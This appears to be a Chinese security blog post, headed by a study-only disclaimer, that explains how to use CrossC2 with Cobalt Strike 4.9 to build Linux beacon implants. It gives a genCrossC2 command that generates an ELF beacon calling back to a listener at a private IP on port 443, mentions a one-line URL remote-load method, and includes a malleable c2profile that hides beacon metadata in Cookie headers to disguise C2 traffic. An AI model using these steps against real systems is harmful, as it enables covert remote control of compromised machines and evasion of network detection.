免责声明
锦鲤安全的技术文章仅供参考,此文所提供的信息仅供网络安全人员学习和参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。如有侵权烦请告知,我们会立即删除并致歉。本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!谢谢!
前言
安装 CrossC2 无 c2profile 下生成 Linux 马 使用 genCrossC2 直接生成 URL 远程加载一句话上线 使用 c2profile 生成 Linux 马 自定义流量特征
环境
CS 版本:CS4.9
客户端环境:Windows10
服务端环境:Windows10 Kali Linux 子系统
一、安装 CrossC2
genCrossC2.Win.zip CrossC2Kit-GithubBot-2023-11-20.zip genCrossC2.Win.zip
二、无 c2profile 下生成
通过 genCrossC2 直接生成 elf 马执行上线 通过 url 一句话远程加载上线
1. 使用 genCrossC2 直接生成
genCrossC2 [监听地址] [监听端口] [.beacon_keys密钥文件] [rebind_dynamic_lib<;ini_config;c2profile@section_name>] [平台] [平台架构] [输出文件字]
genCrossC2.exe 192.168.195.131 443 .cobaltstrike.beacon_keys null Linux x64 beacon.elf upx 4.9
2. URL 远程加载一句话上线
三、使用 c2profile 生成
CrossC2 主要识别 http-get 和 http-post 块,但不能识别 CS4.9 的部分特性
http-get.verb 必须为 get,http-post.verb 必须为 post。 uri 中最好只有一个 uri。 metadata 块中不能有 print; ,否则会报错。 metadata 块和 output 块内的转换算法只支持 base64,其他算法不会报错但是也无法正常上线。
且不建议 c2profile 配置过于复杂,以下是一个例子:
http-get {
set uri "/api/v1/get ";
set verb "GET";
client {
header "Content-Type" "text/plain";
metadata {
base64;
prepend "_UK=";
header "Cookie";
}
}
server {
header "Cache-Control" "no-cache";
output {
base64;
print;
}
}
}
http-post {
set uri "/api/v1/post ";
set verb "POST";
client {
header "Content-Type" "text/plain";
id {
base64;
prepend "_ZF=";
header "Cookie";
}
output {
base64;
print;
}
}
server {
header "Content-Type" "text/plain";
output {
base64;
print;
}
}
}
https://github.com/gloxec/CrossC2/blob/cs4.1/protocol_demo/https.profile
四、自定义流量特征
在生成 CrossC2 监听时可以看到指定动态链接库和 config.ini:
总结
使用 CrossC2 时需特别注意 cna 脚本中配置的路径是否正确,要使用双反斜杠,$CC2_BIN 前面的双反斜杠不能省略 ;如果使用了 c2profile 还需注意 c2profile 配置能否被 CrossC2 支持,不然可能折腾半天都无法上线成功。
小密圈
点分享
点收藏
点点赞
点在看